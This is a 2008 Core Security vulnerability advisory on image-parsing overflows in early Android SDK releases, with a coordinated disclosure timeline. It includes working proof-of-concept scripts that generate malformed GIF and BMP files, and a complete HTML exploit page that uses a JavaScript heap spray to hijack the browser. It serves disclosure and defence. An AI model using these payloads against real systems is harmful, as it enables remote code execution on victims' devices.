Message-ID: <47CD9470.9040209@coresecurity.com>
Date: Tue, 04 Mar 2008 16:26:56 -0200
From: Core Security Technologies Advisories <advisories@...esecurity.com>
To: bugtraq@...urityfocus.com,  vulnwatch@...nwatch.org, 
	full-disclosure@...ts.grok.org.uk
Subject: CORE-2008-0124: Multiple vulnerabilities in
	Google's Android SDK

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs

Multiple vulnerabilities in Google's Android SDK


*Advisory Information*

Title: Multiple vulnerabilities in Google's Android SDK
Advisory ID: CORE-2008-0124
Advisory URL: http://www.coresecurity.com/?action=item&id=2148
Date published: 2008-03-04
Date of last update: 2008-03-04
Vendors contacted: Google
Release mode: Coordinated release


*Vulnerability Information*

Class: Heap overflow, integer overflow
Remotely Exploitable: No
Locally Exploitable: No
Bugtraq ID: 28006, 28005	
CVE Name: CVE-2008-0986, CVE-2008-0985, CVE-2006-5793, CVE-2007-2445,
CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269	


*Vulnerability Description*

Android is project promoted primarily by Google through the Open Handset
Alliance aimed at providing a complete set of software for mobile
devices: an operating system, middleware and key mobile applications
[1]. Although the project is currently in a development phase and has
not made an official release yet, several vendors of mobile chips have
unveiled prototype phones built using development releases of the
platform at the Mobile World Congress [2]. Development using the Android
platform gained activity early in 2008 as a result of Google's launch of
the Android Development Challenge which includes $10 million USD in
awards [3] for which a Software Development Kit (SDK) was made available
in November 2007.

 The Android Software Development Kit includes a fully functional
operating system, a set of core libraries, application development
frameworks, a virtual machine for executing application and a phone
emulator based on the QEMU emulator [4]. Public reports as of February
27th, 2008 state that the Android SDK has been downloaded 750,000 times
since November 2007 [5].

 Several vulnerabilities have been found in Android's core libraries for
processing graphic content in some of the most used image formats (PNG,
GIF an BMP). While some of these vulnerabilities stem from the use of
outdated and vulnerable open source image processing libraries other
were introduced by native Android code that use them or that implements
new functionality.

 Exploitation of these vulnerabilities to yield complete control of a
phone running the Android platform has been proved possible using the
emulator included in the SDK, which emulates phone running the Android
platform on an ARM microprocessor.

 This advisory contains technical descriptions of these security bugs,
including a proof of concept exploit to run arbitrary code, proving the
possibility of running code on Android stack (over an ARM architecture)
via a binary exploit.




*Vulnerable Packages*

.  Android SDK m3-rc37a and earlier are vulnerable several bugs in
components that process GIF, PNG and BMP images (bugs #1, #2 and #3 of
this advisory).
.  Android SDK m5-rc14 is vulnerable to a security bug in the component
that process BMP images (bug #3).


*Non-vulnerable Packages*

. Android SDK m5-rc15


*Vendor Information, Solutions and Workarounds*

Vendor statement:

"The current version of the Android SDK is an early look release to the
open source community, provided so that developers can begin working
with the platform to inform and shape our development of Android toward
production readiness. The Open Handset Alliance welcomes input from the
security community throughout this process. There will be many changes
and updates to the platform before Android is ready for end users,
including a full security review."


*Credits*

These vulnerabilities were discovered by Alfredo Ortega from Core
Security Technologies, leading his Bugweek 2007 team called "Pampa
Grande". It was researched in depth by Alfredo Ortega.


*Technical Description / Proof of Concept Code*

Android is a software stack for mobile devices that includes an
operating system, middleware and key applications. Android relies on
Linux version 2.6 for core system services such as security, memory
management, process management, network stack, and driver model. The
kernel also acts as an abstraction layer between the hardware and the
rest of the software stack.

 The WebKit application framework is included to facilitate development
of web client application functionality. The framework in turn uses
different third-party open source libraries to implement processing of
several image formats.

 Android includes a web browser based on the Webkit framework that
contains multiple binary vulnerabilities when processing .GIF, .PNG and
.BMP image files, allowing malicious client-side attacks on the web
browser. A client-side attack could be launched from a malicious web
site, hosting specially crafted content, with the possibility of
executing arbitrary code on the victim's Android system.

 These client-side binary vulnerabilities were discovered using the
Android SDK that includes an ARM architecture emulator. Binary
vulnerabilities are the most common security bugs in computer software.
Basic bibliography on these vulnerabilities includes a recently updated
handbook about security holes that also describes current
state-of-the-start exploitation techniques for different hardware
platforms and operating systems [6].

 The vulnerabilities discovered are summarized below grouped by the type
of image file format that is parsed by the vulnerable component.

 #1 - GIF image parsing heap overflow

The Graphics Interchange Format (GIF) is image format dating at least
from 1989 [7]. It was popularized because GIF images can be compressed
using the Lempel-Ziv-Welch (LZW) compression technique thus reducing the
memory footprint and bandwidth required for transmission and storage.

 A memory corruption condition happens within the GIF processing library
of the WebKit framework when the function 'GIFImageDecoder::onDecode()'
allocates a heap buffer based on the _Logical Screen Width and Height_
filed of the GIF header (offsets 6 and 8) and then the resulting buffer
is filled in with an amount of data bytes that is calculated based on
the real Width and Height of the GIF image. There is a similar (if not
the same) bug in the function 'GIFImageDecoder::haveDecodedRow() 'in the
open-source version included by Android in
'WebKitLib\WebKit\WebCore\platform\image-decoders\gif\GifImageDecoder.cpp'
inside 'webkit-522-android-m3-rc20.tar.gz' available at [8].

 Detailed analysis:

 When the process 'com.google.android.browser' must handle content with
a GIF file it loads a dynamic library called 'libsgl.so' which contains
the decoders for multiple image file formats.

 Decoding of the GIF image is performed correctly by the library giflib
4.0 (compiled inside 'libsgl.so'). However, the wrapper object
'GIFImageDecoder' miscalculates the total size of the image.

 First, the Logical Screen Size is read and stored in the following
calling sequence (As giflib is an Open Source MIT-licenced library, the
source was available for analysis):
'GIFImageDecoder::onDecode()->DGifOpen()->DGifGetScreenDesc()'. The last
function, 'DGifGetScreenDesc()', stores the _Logical Screen Width and
Height_ in a structure called 'GifFileType':

/-----------

Int DGifGetScreenDesc(GifFileType * GifFile) {
...
/* Put the screen descriptor into the file: */
if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_ERROR ||
DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR)
  return GIF_ERROR;
  ...
  }
- -----------/

 We can see that the fields are stored in the first 2 words of the
structure:

/-----------

typedef struct GifFileType {
/* Screen dimensions. */
GifWord SWidth, SHeight,
...
}
- -----------/

 In the disassembly of the GIFImageDecoder::onDecode() function provided
below we can see how the DGifOpen() function is called and that the
return value (A GifFileType struct) is stored on the $R5 ARM register:

/-----------

.text:0002F234  BL      _DGifOpen
.text:0002F238  SUBS    R5, R0, #0 ; GifFile -_ $R5
- -----------/

 Then, the giflib function 'DGifSlurp()' is called and the Image size is
correctly allocated using the Image Width and Height and not the Logical
Screen Size:

/-----------

Int DGifSlurp(GifFileType * GifFile)
{ ... ImageSize = sp->ImageDesc.Width *  sp->ImageDesc.Height;
      sp->RasterBits = (unsigned char *)malloc(ImageSize *
sizeof(GifPixelType));
      ...
}
- -----------/

 Afterwards the _Logical Screen_ Width and Height are stored in the R9
and R11 registers:

/-----------

.text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth R11=SHeight !
- -----------/



 However the actual image may be much larger that these sizes that are
incorrectly passed to a number of methods of the 'GIFImageDecoder':

/-----------

ImageDecoder::chooseFromOneChoice():
.text:0002F294  MOV     R0, R8
.text:0002F298  MOV     R1, #3
.text:0002F29C  MOV     R2, R9
.text:0002F2A0  MOV     R3, R11
.text:0002F2A4  STR     R12, [SP,#0x48+var_3C]
.text:0002F2A8  BL      _ImageDecoder19chooseFromOneChoice;
ImageDecoder::chooseFromOneChoice(SkBitmap::Config,int
,int)

Bitmap::setConfig():
.text:0002F2B8  MOV     R0, R7          ; R7 = SkBitmap
.text:0002F2BC  MOV     R1, #3
.text:0002F2C0  MOV     R2, R9          ; R9=SWidth R11=SHeight !
.text:0002F2C4  MOV     R3, R11
.text:0002F2C8  STR     R10, [SP,#0x48+var_48]
.text:0002F2CC  BL      _Bitmap9setConfig ;
Bitmap::setConfig(SkBitmap::Config,uint,uint,uint)
- -----------/

 This function stores the SWidth and SHeight inside the Bitmap object as
shown in the following code snippet:

/-----------

.text:00035C38 MOV R7, R2 ; $R2 = SWidth, goes to $R7
.text:00035C3C MOV R8, R3 ; $R3 = SHeight, goes to $R8
.text:00035C40 MOV R4, R0 ; $R4 = *Bitmap
- -----------/

 And later:

/-----------

.text:00035C58 BL _Bitmap15ComputeRowBytes ;
SkBitmap::ComputeRowBytes(SkBitmap::Config,uint)
.text:00035C5C MOV R5, R0 ; $R5 = Real Row Bytes
.text:00035C68 STRH R7, [R4,#0x18] ; *Bitmap+0x18 = SWidth
.text:00035C6C STRH R8, [R4,#0x1A] ; *Bitmap+0x1A = SHeight
.text:00035C60 STRH R5, [R4,#0x1C] ; *Bitmap+0x1C = Row Bytes
- -----------/

 The following python script generates a GIF file that causes the
overflow. It requires the Python Imaging Library. Once generated the GIF
file, it must be opened in the Android browser to trigger the overflow:

/-----------

##Android Heap Overflow
##Ortega Alfredo _ Core Security Exploit Writers Team
##tested against Android SDK m3-rc37a

import Image
import struct

#Creates a _good_ gif image
imagename='overflow.gif'
str = '\x00\x00\x00\x00'*30000
im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1)
im.save(imagename,'GIF')

#Shrink the Logical screen dimension
SWidth=1
SHeight=1

img = open(imagename,'rb').read()
img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:]

#Save the _bad_ gif image
q=open(imagename,'wb=""')
q.write(img)
q.close()
- -----------/

 This security bug affects Android SDK m3-rc37a and earlier versions.
Version m5-rc14 of the Android SDK includes a fix and is not vulnerable
to this bug.

 #2 - PNG image parsing, multiple vulnerabilities:

 The Portable Network Graphics (PNG) is a bitmapped image format that
employs lossless data compression [9]. PNG was created to improve upon
and replace the GIF format as an image file format that does not require
a patent license.

 The library 'libsgl.so' used by Android's WebKit contains commonly used
code to load graphic files, as libpng, giflib and others. The version
inside libsgl.so distributed with Android SDK m3-rc37a and earlier
versions include the string '"libpng version 1.2.8 - December 3, 2004"'.
Source code inspection of the file
'\WebKitLib\WebKit\WebCore\platform\image-decoders\png\png.c' included
in the 'webkit-522-android-m3-rc20.tar.gz ' release of the Android
project reveals that '"libpng version 1.2.7 - September
      12, 2004"' has been used in this release.

 This old version of libpng makes Android SDK m3-rc37a and earlier
versions vulnerable to the following known issues: ' CVE-2006-5793,
CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268,
CVE-2007-5269 '.

Android version m5-rc14 has been updated to include libpng 1.2.24 and is
likely not vulnerable.

 #3 - BMP image processing, negative offset integer overflow:

 The BMP file format, sometimes called bitmap or DIB file format (for
device-independent bitmap), is an image file format used to store bitmap
digital images, especially on Microsoft Windows and OS/2 operating
systems [10].

 The integer overflow is caused when a Windows Bitmap file (.BMP) header
is parsed in the method 'BMP::readFromStream(Stream *,
        ImageDecoder::Mode)' inside the 'libsgl.so' library. When the
value of the 'offset' field of the BMP file header is negative and the
Bitmap Information section (DIB header) specifies an image of 8 bits per
pixel (8 bpp) the parser will try to allocate a palette, and will use
the negative offset to calculate the size of the palette.

 The following code initializes the palette with the color white
('0x00ffffff') but with a carefully chosen negative offset it can be
made to overwrite any address of the process with that value. Because
the BMP decoder source wasn't released, a disassembly of the binary
included by Android is provided below:

/-----------

.text:0002EE38 MOV LR, R7 ; R7 is the negative offset
.text:0002EE3C MOV R12, R7,LSL#2
.text:0002EE40
.text:0002EE40 loc_2EE40
.text:0002EE40 LDR R3, [R10,#0x10]
.text:0002EE44 ADD LR, LR, #1
.text:0002EE48 MOVL R2, 0xFFFFFFFF
.text:0002EE4C ADD R1, R12, R3 ; R3 is uninitialized (because of the
same bug) but ranges 0x10000-0x20000
.text:0002EE50 MOV R0, #0
.text:0002EE54 CMP LR, R9
.text:0002EE58 STRB R2, [R12,R3] ;Write 0x00ffffff to R12+13 (equals R1)
.text:0002EE5C STRB R2, [R1,#2]
.text:0002EE60 STRB R0, [R1,#3]
.text:0002EE64 STRB R2, [R1,#1]
.text:0002EE68 ADD R12, R12, #4
.text:0002EE6C BNE loc_2EE40
- -----------/

 Now, if let's take a look at the memory map of the Android browser:

/-----------

# ps
ps
USER     PID   PPID  VSIZE RSS   WCHAN    PC         NAME
root     1     0     248   64    c0084edc 0000ae2c S /init
root     2     0     0     0     c0049168 00000000 S kthreadd
...
root     1206  1165  16892 14564 c0084edc 00274af8 S ./gdb
app_0    1574  535   83564 12832 ffffffff afe0c79c S
com.google.android.browser
root     1600  587   840   324   00000000 afe0bfbc R ps
# cat /proc/1574/maps
cat /proc/1574/maps
00008000-0000a000 rwxp 00000000 1f:00 514        /system/bin/app_process
0000a000-00c73000 rwxp 0000a000 00:00 0          [heap]
08000000-08001000 rw-s 00000000 00:08 344        /dev/zero (deleted)
...
#
- -----------/

 We can see that the heap is located in the range '0000a000-00c73000'
and it is executable. Overwriting this area will allow to redirect
execution flow if there is a virtual table stored in the heap. Later on
the same method we can see that a call to the "Stream" Object VT is made:

/-----------

.text:0002EB64 LDR R12, [R8] # R8 is the "this" pointer of the Stream Object
.text:0002EB68 MOV R0, R8
.text:0002EB6C MOV LR, PC
.text:0002EB70 LDR PC, [R12,#0x10] # A call is made to Stream+0x10
- -----------/

 Because the "Stream" Object (R8) is stored on the heap and we can fill
the heap with the white color '
      0x00ffffff' we can load the Program Counter with the value at
'0xffffff+0x10'. The following python script will generate a BMP to
accomplish that:

/-----------

# This script generates a Bitmap file that makes the Android browser
jump to the address at 0xffffff+0x10
# Must be loaded inside a HTML file with a tag like this: &lt;IMG
src=badbmp.bmp&gt;
# Alfredo Ortega - Core Security
import struct

offset = 0xffef0000
width = 0x0bffff
height=8

bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00"
bmp+=struct.pack("<I",offset)
bmp+="\x28\x00\x00\x00"
bmp+=struct.pack("<I",width)
bmp+=struct.pack("<I",height)
bmp+="\x03\x00\x08\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff"
bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41"
bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
open("badbmp.bmp","wb").write(bmp)
- -----------/

 Opening the BMP file generated with this script inside a HTML page will
cause (sometimes, as it is dependent on an uninitialized variable) the
following output of the gdb debugger:

/-----------

(gdb) attach 1574
attach 1574
Attaching to program: /system/bin/app_process, process 1574
...
0xafe0d204 in __futex_wait () from /system/lib/libc.so
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb)
- -----------/

 Here the browser process has jumped to the '0x00000000' address because
that is the value at 0x00ffffff+0x10. We can change this value using
common JavaScript heap-filling techniques.

 The complete exploit page follows:

/-----------

<HTML>
<HEAD>
</HEAD>
<BODY>
<script type="text/javascript">
// Fill 0x200000 - 0xa00000 with Breakpoints
var nop = unescape("%u0001%uef9f");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<5;i++)
  document.write(nop)

// Fill 0xa00000 - 0x1100000 with address 0x00400040
var nop = unescape("%u4000%u4000");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<2;i++)
  document.write(nop)
</script>
<IMG src=badbmp.bmp>
</BODY>
</HTML>
- -----------/

 Because the exploit needs to fill over 16 MB of heap memory to reach
the address '0xffffff' it is very slow and the default memory
configuration of Android will often abort the process before reaching
the desired point. To overcome this limitation for demonstration
purposes one can launch the emulator with this parameters:

'emulator -qemu -m 192'

 That will launch the Android emulator with 192 megabytes of memory,
plenty for the exploit to work.

 This security bug affects Android SDK m5-rc14 and earlier versions.


*Report Timeline*

. 2008-01-30:  Vendor is notified that possibly exploitable
vulnerabilities where discovered and that an advisory draft is
available. This affects Android SDK m3-rc37a and earlier versions.
. 2008-01-30:  Vendor acknowledges and requests the draft.
. 2008-01-31:  Core sends the draft encrypted, including PoC code to
generate malformed GIF images.
. 2008-01-31:  Vendor acknowledges the draft.
. 2008-02-02:  Vendor notifies that the software is an early release for
the open source community, but agree they can fix the problem on the
estimated date (2008-02-25).
. 2008-02-04:  Core notifies the vendor that Android is using a
vulnerable PNG processing library.
. 2008-02-08:  Vendor acknowledges, invites Core to send any new
findings and asks if all findings will be included in the advisory.
. 2008-02-12:  Core responds to vendor that all security issues found
will be included in the advisory, the date is subject to coordination.
. 2008-02-12:  Vendor releases version m5-rc14 of the Android SDK. Core
receives no notification.
. 2008-02-13:  Core sends the vendor more malformed images, including
GIF, PNG and BMP files. Only the BMP file affects the m5-rc14 release.
. 2008-02-20:  Core sends to the vendor a new version of the advisory,
including a BMP PoC that runs arbitrary ARM code and informs the vendor
that we noticed that the recent m5-rc14 release fixed the GIF and PNG
bugs. Publication of CORE-2008-0124 has been re-=scheduled for February
27th. 2008.
. 2008-02-21:  Vendor confirms that the GIF and PNG fixes have been
released and provides an official statement to the "Vendor Section" of
the advisory.  A final review of the advisory is requested before its
release. The vendor indicates that  the Android SDK is still in
development and stabilization won't happen until it gets closer to
Alpha. Changes to fix the BMP issue are coming soon, priorities are
given to issues listed in the public issue tracking system at
http://code.google.com/p/android/issues .
. 2008-02-26:  Core indicates that publication of CORE-2008-0124 has
been moved to March 3rd 2008, asks if an estimated date for the BMP fix
is available and  if Core should file the reported and any future bugs
in the public issue tracking page.
. 2008-02-29:  Final draft version of advisory CORE-2008-0124 is sent to
the  vendor as requested. Core requests for any additional comments or
statements to be provided by noon March 3rd, 2008 (UTC-5)
. 2008-03-01:  Vendor requests publication to be delayed one day in
order to publish a new release of Android with a fix to the BMP issue.
. 2008-03-02: Core agrees to delay publication for one day.
. 2008-03-03: Vendor releases Android SDK m5-rc15 which fixes the BMP
vulnerability.  Vendor indicates that Android applications  run  with
the credentials of  an unprivileged user which decreases the severity of
the issues found
. 2008-03-04: Further research by Alfredo Ortega reveals that although
the vendor statement is correct current versions of Android SDK ship
with a passwordless root account. Unprivileged users with shell access
can simply use the 'su' program to gain privileges
. 2008-03-04:  Advisory CORE-2008-0124 is published.


*References*

[1] Android Overview - Open Handset Alliance -
http://www.openhandsetalliance.com/android_overview.html
[2]  "Android Comes to Life in Barcelona" - The Washington Post ,
February 11th, 2008 -
http://www.washingtonpost.com/wp-dyn/content/article/2008/02/11/AR2008021101944.html
[3] Android Developer Challenge - http://code.google.com/android/adc.html
[4] "Test Center Preview: Inside Google's Mobile future" - Inforworld,
Feb. 27th 2008 -
http://www.infoworld.com/article/08/02/27/09TC-google-android_1.html
[5] "'Allo, 'allo, Android" - The Sydney Morning Herald, February 26th,
2008
http://www.smh.com.au/news/biztech/allo-allo-android/2008/02/26/1203788290737.html
[6] The Shellcoder's Handbook: Discovering and Exploiting Security Holes
by Chris Anley , John Heasman , Felix Linder and Gerardo Richarte.
Wiley; 2nd edition (August 20, 2007) -
http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html
[7] Graphics Interchange Format version 89a -
http://www.w3.org/Graphics/GIF/spec-gif89a.txt
[8] Android downloads page http://code.google.com/p/android/downloads/list
[9] Portable Network Graphics (PNG) specification -
http://www.w3.org/TR/PNG/
[10] Bitmap File Structures - http://www.digicamsoft.com/bmp/bmp.html


*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.


*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.


*Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.



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